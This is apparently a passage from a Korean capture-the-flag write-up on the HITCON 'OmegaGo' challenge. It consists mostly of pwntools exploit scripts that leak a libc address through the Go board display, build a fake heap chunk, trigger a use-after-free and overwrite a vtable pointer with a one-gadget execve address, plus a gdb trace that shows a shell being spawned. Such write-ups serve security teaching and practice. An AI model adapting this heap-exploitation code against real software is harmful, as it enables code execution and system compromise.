#Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #vtable Overflow Play('D14') Play('E14') Play('G14') Play('R15') Play('A5') Play('Q6') Fill('A','E',19) sleep(20) Play('F19|'+p64(execve_bash)) |
gCmd 전역 변수 +4(0x609440) 영역에는 One gadget의 주소 값이 저장되어 있습니다.
해당 주소는 rax에 저장되어 호출되며, shell을 획득하게 됩니다.
lazenca0x0@ubuntu:~$ gdb -q -p 59695 Attaching to process 59695 Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done. done. Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done. done. Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done. done. gdb-peda$ b *0x4017D0 Breakpoint 1 at 0x4017d0 gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004017d0 in ?? () gdb-peda$ x/13i $rip => 0x4017d0: mov rax,QWORD PTR [rbp+rax*8-0x30] 0x4017d5: mov rax,QWORD PTR [rax] 0x4017d8: mov rax,QWORD PTR [rax] 0x4017db: mov edx,DWORD PTR [rbp-0x5c] 0x4017de: sub edx,0x1 0x4017e1: movsxd rdx,edx 0x4017e4: mov rdi,QWORD PTR [rbp+rdx*8-0x30] 0x4017e9: lea rsi,[rbp-0x60] 0x4017ed: lea rcx,[rbp-0x64] 0x4017f1: mov edx,DWORD PTR [rbp-0x5c] 0x4017f4: mov r8,rsi 0x4017f7: mov esi,0x609fc0 0x4017fc: call rax gdb-peda$ i r rax rax 0x0 0x0 gdb-peda$ i r rbp rbp 0x7ffdb99059e0 0x7ffdb99059e0 gdb-peda$ p/x 0x7ffdb99059e0 - 0x30 $1 = 0x7ffdb99059b0 gdb-peda$ x/gx 0x7ffdb99059b0 0x7ffdb99059b0: 0x0000000001a37290 gdb-peda$ x/gx 0x0000000001a37290 0x1a37290: 0x0000000000609440 gdb-peda$ x/gx 0x0000000000609440 0x609440: 0x00007f10d2973117 gdb-peda$ x/5i 0x00007f10d2973117 0x7f10d2973117 <exec_comm+2263>: mov rax,QWORD PTR [rip+0x2d2d9a] # 0x7f10d2c45eb8 0x7f10d297311e <exec_comm+2270>: lea rsi,[rsp+0x70] 0x7f10d2973123 <exec_comm+2275>: lea rdi,[rip+0x9bbed] # 0x7f10d2a0ed17 0x7f10d297312a <exec_comm+2282>: mov rdx,QWORD PTR [rax] 0x7f10d297312d <exec_comm+2285>: call 0x7f10d294e770 <execve> gdb-peda$ b *0x4017fc Breakpoint 2 at 0x4017fc gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () gdb-peda$ i r rax rax 0x7f10d2973117 0x7f10d2973117 gdb-peda$ c Continuing. process 59695 is executing new program: /bin/dash |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() #surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3c4b78 execve_bash = libcBaseAddress + 0xF1117 log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') Fill('A','I',10) #0xXXXX410 -> 0xxxxx550 Play('D19') Play('E19') #UAF surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #vtable Overflow Play('D14') Play('E14') Play('G14') Play('R15') Play('A5') Play('Q6') Fill('A','E',19) Play('F19|'+p64(execve_bash)) p.interactive() |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 execve_bash = libcBaseAddress + 0xe66bd log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') #0xXXXX410 -> 0xxxxx550 Fill('A','I',10) Play('P1') Play('O1') surrender() #Fill out to board Fill('B','S',6) for line in range(15,20): Fill('A','S',line) Play('A6') #vtable Overflow Play('B7') Play('S8') Play('R8') Play('C12') Play('F12') Play('M8') for line in range(16,19): Fill('A','S',line) Fill('A','E',15) sleep(20) Play('F15|'+p64(execve_bash)) p.interactive() |
Flag |
---|